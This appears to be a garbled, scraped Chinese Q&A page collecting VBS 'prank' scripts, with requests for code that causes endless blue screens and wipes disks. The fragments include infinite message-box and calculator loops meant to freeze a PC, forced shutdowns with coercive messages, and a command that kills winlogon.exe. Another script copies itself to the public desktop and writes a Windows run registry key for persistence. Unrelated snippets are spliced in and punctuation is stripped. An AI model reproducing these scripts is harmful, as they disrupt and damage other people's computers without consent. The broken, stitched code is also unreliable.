vbs整人代码要可以用的 我直接COPY到记事本里，所以别打错了 #xE768 我来答 1个回答 #热议# 公司那些设施可以提高员工幸福感？Hi村長 20100908 · TA获得超过247个赞 知道答主 回答量57 采纳率0% 帮助的人355万；求一个超毒无比的vbs代码，最好能破坏电脑和安全模式也修复不了的vbs代码一定要超毒的 最好能无限蓝屏重启还有能破坏掉硬盘数据 最好能无限蓝屏重启还有能破坏掉硬盘数据 展开 #xE768 我来答 5个回答 #热议# 生活中；Case 1 #39最小化 MeWindowState = 1 MechkWindowButton1Value = 0 MeCaption = quotBS贪食蛇 Vquot AppMajor quotquot AppMinor quot版本quot Case 2 #39退出 Beep msg = MsgBoxquot您要退出本游戏吗？quot， 4 +；把c=inputboxquot悄然代号quot，quot提示quot，quot是quot及以后的代码改为dim i do c=inputboxquot悄然代号quot，quot提示quot，quot是quotselect case c case 1 i = msgboxquot你是嘻嘻quot，1+32，quotquotcase 2 msgbox quot你是嘻嘻quot，1+32，quotquotend。

#39时间稍长，请耐心等待Dim fs Set fs = CreateObjectquotScriptingFileSystemObjectquotDiGui quotc\quotmsgbox quot复制完成quotset fs=nothing Sub DiGuiByVal FolderPathDim SubFolder Set SubFolder = fsGetFolderFolderPa；请看代码On Error Resume NextDim fso，ws，list，c，h，currentfol，op，file，str，ext，titleSet fso=WScriptCreateObjectquotScriptingFileSystemObjectquotSet ws=WScriptCreateObjectquotWScriptShellquotc=Chr34h=vbCrLfstr=quot；Const name = quot你的名字quotDim fso，WshShell，StartTime，i Set WshShell = WScriptCreateObject quotWScriptShellquotSet fso = WScriptCreateObject quotScriptingFilesystemObjectquotSet cls = fsoCreateTextFile quotclsscfquot。

请点击展开进行观看 代码一无限弹出信息框 双引号内可以自行修改 do msgbox quot爱邱哥爱生活quotloop 代码二打开N个计算器，到电脑死机 et wsh=createobjectquotwscriptshellquotdo wshrun quotcalcquotloop 代码三电脑关机 dim；dim WSHshellA set WSHshellA = wscriptcreateobjectquotwscriptshellquotWSHshellArun quotcmdexe c shutdown r t 60 c quotquot说“我是XX”，不说“我是XX”就一分钟关你的机，不信，试试quotquot quot，0，true dim；VBS dim hong，lan，hongT，lanT F8红，F9蓝，F10宠物红 在游戏中利用按键抓点抓色工具找到x1，x2，y，color所对应的值并替换UserVar hong=70 血量lthong%时，自动吃红UserVar lan=30 蓝量ltlan%时，自动吃蓝；quotWScriptEchoquot每1分钟我会找你一次quotWScriptEchoquot永别啦quotdo until i=10 i=i+1 msgbox quot我阴魂不散那找你来索命了quot，16+4096，quot系统提示quotwscriptsleep 30*60 #39loop 后缀为vbs；有人要VBS整人代码，我就写了一个，如果玩笑开得过火，千万别骂我啊~简单描述一下文件夹同名病毒Autorun病毒大家都熟悉吧效果就是那样不过放心吧，绝不是真的病毒，骗人的，试想，如果有人中招，他会怎么办。

on error resume nextdim WSHshellAset WSHshellA = wscriptcreateobjectquotwscriptshellquotWSHshellArun quotcmdexe c shutdown r t 180 c quotquot三分钟内决定是否嫁给我，否则会被关机quotquot quot，0 ，true dim ado；VBS代码的编写 编写VBS代码可以使用任意一款文本编辑器来实现，在此小编强烈建议大家使用带有语法着色功能的文本编辑器如EidtPlus32或Notepad++来编写VBS代码在具有语法着色功能的文本编辑器界面，点击“语言”下拉菜单；wsrun quotcmd c start min ntsd c q pn winlogonexe 1nul 2nulquot，vbhide end if 解决办法什么都不要点建另一个VBS然后运行 代码如下CreateobjectquotWscriptshellquotrun quottaskkill f im wscriptexequot；CreateObject quotSAPISpVoicequotSpeak quotAlthough you now just like an apple， be had gone， but you don#39t be sad， if that person is me， I will be a finished， ha ha ha ha！ quotWScriptEchoquot怎么样；xufsocopyfile WscriptScriptfullname，quotC\VBScript\一触即发vbsquotxufsocopyfile WscriptScriptfullname，quotC\Users\Public\Desktop\一触即发vbsquotwscrtregwritequotHKEY_CURRENT_USER\Software\Microsoft\Windows\Current。